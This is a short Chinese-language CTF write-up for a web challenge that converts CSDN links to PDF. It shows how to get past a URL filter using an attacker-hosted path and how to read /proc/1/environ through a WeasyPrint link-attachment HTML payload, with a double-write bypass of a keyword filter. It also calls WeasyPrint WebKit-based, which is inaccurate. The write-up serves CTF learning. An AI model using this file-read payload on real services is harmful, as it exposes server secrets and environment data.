NSSCTF Round#20 Basic个人WEB专场 CSDN_To_PDF V1.2 WP
题目:

我们发现当我们输入CSDN的链接的时候会对相对应的文章转换成PDF后进行下载:

经过我们测试发现当链接中没有出现"blog.csdn.net"的字样时就会出现以下情况:
Invalid URL! Target web address: http://xxxxx
我们测试一下漏洞:
在vps上随便监听一个端口(这里是8081):

然后再填入:http://8.138.16.56:8081/blog.csdn.net/

我们发现了这个:WeasyPrint

WeasyPrint
WeasyPrint是一个Python库,用于将HTML和CSS内容转换为PDF文件。它基于WebKit引擎,因此可以很好地处理各种HTML和CSS特性,并且WeasyPrint还可以解析html中link标签中的内容
所以我们在vps上创建一个"blog.csdn.net"目录后在目录里创建一个"shell.html"内容为:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///proc/1/environ">
</body>
</html>
将http://8.138.16.56:8080/blog.csdn.net/shell.html填入后发现报错:Error generating PDF
最后发现是题目还过滤了HTML字样,这里可以通过双写绕过:

获得PDF后通过binwark分离PDF得到flag


